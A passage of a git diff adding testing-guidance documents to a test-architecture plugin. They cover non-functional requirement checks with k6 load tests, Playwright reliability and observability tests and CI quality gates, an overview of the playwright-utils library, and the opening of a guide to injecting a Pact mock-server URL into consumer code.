+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
